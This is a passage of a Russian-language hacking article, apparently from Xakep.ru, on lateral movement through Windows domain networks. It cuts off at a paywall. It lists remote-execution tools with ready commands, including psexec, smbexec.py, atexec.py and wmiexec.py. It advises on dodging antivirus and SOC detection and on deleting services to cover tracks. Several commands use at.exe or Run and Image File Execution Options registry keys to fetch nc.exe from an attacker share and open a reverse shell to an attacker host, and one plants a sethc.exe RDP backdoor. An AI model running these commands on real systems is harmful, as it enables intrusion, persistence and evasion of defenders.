Содержание статьи
- Стратегия бокового перемещения
- Удаленное выполнение кода в Windows
- MSRPC
- DCERPC
- WinRM
- GP
- Локальные учетные записи
- Билеты Kerberos
- Kerberoasting
- Извлечение Kerberos-билетов через дамп виртуальной памяти
- Извлечение Kerberos-билетов через дамп физической памяти
- Извлечение Kerberos-билетов из сетевого трафика
- Bruteforce TGS
- Pass-the-Ticket
- Доменные учетные записи
- Кеш хешированных доменных учетных записей
- Lateral movement
- Credentials spraying
- Массовое исполнение кода
- Заключение
info
Читай также: «Кунг‑фу pivoting. Выжимаем максимум из постэксплуатации».
После того как ты проник за внешний периметр и попал во внутреннюю сеть компании, необходимо расширить в ней собственное присутствие, если хочешь найти там что‑то интересное. Как ни странно, чем больше размер внутренней сети компании, тем проще ее взломать. И напротив, если компания совсем небольшая, сеть взломать порою крайне сложно. Почему так? Чем больше сеть, тем больше в ней может встретиться уязвимых или небезопасно настроенных компонентов. При этом часто компрометация одного узла влечет за собой компрометацию сразу множества смежных с ним узлов.
Во внутренних сетях обычно преобладают серверы и рабочие станции под управлением Windows. В то же время эта ОС наиболее интересна с точки зрения способов компрометации, так как по умолчанию имеет множество интерфейсов для удаленного выполнения кода. Кроме того, атакующему доступно большое количество способов извлечения учетных данных. Я не буду касаться бокового перемещения по серверам Linux: они редко включены в домен и не имеют такого разнообразия дефолтных интерфейсов для удаленного администрирования. При боковом перемещении Linux интересен главным образом как удобная точка опоры.
Боковое перемещение подразумевает легитимное удаленное исполнение кода. То есть все представленные в статье способы подразумевают наличие действующей учетной записи для того или иного ПК. При этом почти всегда будет требоваться административная учетная запись.
Основная задача при боковом перемещении — привлекать как можно меньше внимания пользователей и службы безопасности, а также постараться не вызвать тревогу у средств антивирусной защиты. Наиболее эффективно использовать штатные средства операционной системы, то есть абсолютно легитимные и неотличимые от действий обычных администраторов сети.
Мы не будем обсуждать основные уязвимости Windows, атаки в локальных сетях и способы поднять привилегии в среде Active Directory. Вместо этого поговорим исключительно о легальных вещах: в каких потаенных уголках Windows можно найти учетные записи и что с ними потом делать. Все представленные дальше способы не считаются уязвимостями, а представляют собой трюки by design, следовательно, при грамотном исполнении это полностью легальные процедуры.
Все примеры основаны на реальных ситуациях, с которыми можно столкнуться при перемещении по самым настоящим внутренним сетям. Поэтому, как обычно, коснемся проблемы максимально тихого перемещения с возможностью байпаса антивирусов, а также сделаем акцент на то, какие сетевые порты нам для этого потребуются.
Стратегия бокового перемещения
Итак, боковое перемещение — это одновременное сочетание двух техник:
- аутентифицированного удаленного выполнения кода;
- извлечения секретной информации после получения доступа.
Цикличное, последовательное повторение этих шагов порою позволяет от одного‑единственного взломанного ПК дойти до полной компрометации всей сетевой инфраструктуры. Обычно боковое перемещение, как всякое иное перемещение, преследует одну из следующих целей:
- перехват управления контроллерами домена;
- достижение изолированных критических сетевых сегментов (например, АСУ ТП, SWIFT);
- поиск критической информации на ПК (секретные документы, платежные реквизиты и так далее).
Однако для достижения любой из перечисленных целей требуются все новые учетные данные, чтобы у атакующего была возможность перемещаться по сети и получать доступ ко все большему количеству ПК. Продвижение по внутренней сети редко обходится без взятия контроллера домена, поскольку взятие домена означает автоматическое получение доступа практически к каждому узлу сети. Что касается admins hunting, при достижении контроллера домена может показаться, что поиск привилегированных учетных записей — это слепое угадывание. Но в действительности инфраструктура Active Directory и сама Windows раскрывают достаточно информации простому доменному пользователю, зачастую позволяя рассчитать нужное направление продвижения и спланировать точную многоступенчатую цепочку взломов еще в самом начале бокового перемещения.
После взятия контроллеров домена иногда бывает необходимо двигаться дальше — в некий особо охраняемый сегмент, представляющий собой объекты «бизнес‑риска». Это может быть сегмент АСУ ТП, вмешательство в технологический процесс, доступ в сегмент SWIFT, если мы имеем дело с банками, либо же просто доступ на ПК генерального директора. В каждом случае мы можем столкнуться с разными сложностями бокового перемещения, о которых пойдет речь дальше.
Удаленное выполнение кода в Windows
Рассмотрим несколько способов удаленного исполнения кода в Windows с помощью учетной записи. Некоторые средства предоставляют удобный интерактивный режим, а некоторые — только слепой запуск команд без получения результата. Начнем обзор с самых удобных и широко распространенных инструментов и постепенно перейдем к менее популярным, но все же способным исполнить код.
Часть инструментов загружает на target исполняемый файл службы, пытаясь обеспечить нам удобный интерактивный режим. Но тут кроется опасность: такие сервисы зачастую будут заблокированы антивирусом. Плюс к этому IP атакующего может быть заблокирован, что затормозит перемещение. И SOC узнает о том, что в сеть кто‑то проник.
Большую часть бокового перемещения мы будем выполнять с помощью замечательного Python-пакета impacket. Для его установки требуется выполнить команду pip
. После установки необходимые исполняемые файлы будут находиться в папке impacket/
, расположение которой подскажет команда pip
.
MSRPC
Это реализация DCERPC от Microsoft. По сути, расширяет открытый DCERPC при помощи доступа через именованные пайпы с использованием протокола SMB. Главным образом использует 445-й TCP-порт. Перечислить доступные пайпы по словарю на SMB поможет модуль auxiliary/scanner/smb/pipe_auditor.
psexec.exe
- Происхождение: sysinternals
- AV-риск: отсутствует
- Используемые порты: 135, 445, 4915x/TCP
Начиная говорить об удаленном исполнении кода в Windows, нельзя не упомянуть небезызвестный psexec
от Марка Руссиновича. Данная программа пользуется одинаковой популярностью и у администраторов, и у пентестеров. Принцип ее работы заключается в копировании исполняемого файла через сетевой ресурс «ADMIN$» (
с последующим удаленным созданием и запуском службы для этого исполняемого файла через DCERPC (
. После запуска службы происходит обычное сетевое взаимодействие с удаленной командной строкой:
psexec.exe -u admin \\target cmd
Главный плюс для нас в том, что серверный компонент psexecsvc.
подписан сертификатом Sysinternals (который принадлежит Microsoft) и, следовательно, стопроцентно легитимная программа. Также к явным достоинствам классического psexec.
относится способность выполнять код в указанных пользовательских сеансах:
psexec.exe -u admin -i 2 \\target shutdown /l
psexec.py
- Происхождение: Python-пакет impacket
- AV-риск: есть
- Используемые порты: 445/TCP
Отличная альтернатива для пользователей Linux. Однако этот инструмент почти наверняка поднимет антивирусную тревогу. Как было сказано, все дело в службе, которая копируется на удаленный хост. Это можно исправить, указав в реализации метода createService(
в /
произвольную команду, которая будет выполнена вместо запускаемой службы удаленного администрирования.
Чтобы psexec.
не скопировал палевный компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку мы уже вручную прописали команду, этим файлом может быть что угодно:
psexec.py -file somefile.txt admin@target
Таким образом, мы напрямую выполнили команду mkdir
, что, конечно же, не вызовет реакции со стороны антивирусов. Однако подобная модификация psexec
лишает нас того удобства использования, которое было изначально.
winexe
- Происхождение: пакет winexe
- AV-риск: есть
- Используемые порты: 445/TCP
Более старый нативный аналог psexec
под Linux. Как и psexec
, открывает удаленную интерактивную командную строку:
winexe -U admin //target cmd
В целом он полностью идентичен другим подобным инструментам, однако реже обнаруживается антивирусами. Но все же нельзя сказать, что winexe на сто процентов безопасен. Тем не менее его можно использовать для подстраховки на случай, если psexec.
вдруг не сработает.
smbexec.py
- Происхождение: Python-пакет impacket / встроенный компонент Windows
- AV-риск: есть
- Используемые порты: 445/TCP
Упрощенный вариант psexec
, также создающий службу, только используется при этом исключительно MSRPC, а доступ к управлению службами устроен через SMB-пайп svcctl
:
smbexec.py -mode SHARE admin@target
В результате будет открыт доступ к интерактивной командной строке.
services.py
- Происхождение: Python-пакет impacket
- AV-риск: отсутствует
- Используемые порты: 445/TCP
Еще более упрощенный вариант psexec
. Тут предполагается, что мы сами ручками делаем то, что делает за нас psexec
. С помощью services.
мы можем посмотреть список служб:
services.py admin@target list
Создать новую службу, указав произвольную команду:
services.py admin@target create -name 1 -display 1 -path 'cmd arg1 arg2'
Запустить только что созданную службу:
services.py admin@target start -name 1
Замести следы и удалить ее:
services.py admin@target delete -name 1
Все это дает нам еще один способ слепого неинтерактивного исполнения команд, то есть без результата. Зато это на сто процентов безопасный способ, и он не раз выручал меня, когда антивирусы на удаленном хосте убивали весь левый софт.
atexec.py/at.exe
- Происхождение: Python-пакет impacket / встроенный компонент Windows
- AV-риск: отсутствует
- Используемые порты: 445/TCP
Служба планировщика заданий Windows, доступная через smb-пайп atsvc
. Позволяет удаленно поместить в планировщик задачу, которая выполнится в указанный момент. В обоих случаях это неинтерактивное средство удаленного исполнения кода. При использовании at.
происходит слепое исполнение команд:
at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
А вот для atexec.
команда выполнится с результатом:
atexec.py admin@target ipconfig
Вся разница в том, что результат выполнения команды будет направлен в файл и прочитан через сетевой ресурс ADMIN$
. Для своей работы инструмент требует, чтобы часы у attacker и target были настроены на одно время с точностью до минуты.
reg.exe
- Происхождение: компонент Windows
- AV-риск: отсутствует
- Используемые порты: 445/TCP
Удаленный доступ к реестру с правами на запись на самом деле нам дает RCE. Для своей работы инструмент требует SMB-пайп winreg
. По умолчанию служба удаленного реестра запущена только на серверных ОС Windows 2003–2019. А вот известный трюк с автозагрузкой (отложенное RCE):
reg.exe add \\target\HKLM\software\microsoft\windows\currentversion\run /v testprog /t REG_SZ /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Здесь используется обработчик запуска программы. Если программа запускается на ПК часто, то получим почти мгновенное RCE:
reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t reg_sz /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Мой любимый трюк с бэкдором в RDP:
reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"
DCERPC
Использует порты 135/TCP и 4915x/TCP, где 4915x — динамически назначаемые порты. Иногда могут использоваться порты из другого диапазона.
Очень часто сетевые администраторы и безопасники, которые в курсе наиболее распространенных векторов атак, в качестве mitigation просто блокируют порт 445/TCP. Тем самым они делают непригодным использование psexec
и многих других способов, описанных выше. Однако, как было сказано ранее, Windows имеет множество способов удаленного исполнения кода, и DCERPC предоставляет нам такую альтернативную возможность, в некоторых случаях открывая доступ к тем же RPC-интерфейсам. По сути, мы будем использовать не сам DCERPC, а то, что работает по его технологии, например WMI.
wmiexec.py
- Происхождение: Python-пакет impacket
- AV-риск: есть
- Используемые порты: 135, (445), 4915x/TCP
Скрипт wmiexec.
дает возможность выполнить код в интерактивном режиме:
wmiexec.py admin@target
Однако было замечено, что хоть wmiexec.
и не запускает на удаленной стороне никаких сторонних исполняемых файлов, антивирусы его иногда ловят. Кроме того, wmiexec.
полезет за результатом на шару ADMIN$
, чем задействует порт 445/TCP. Более безопасным вариантом будет слепое RCE:
wmiexec.py -nooutput admin@target "mkdir c:\pwn"
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»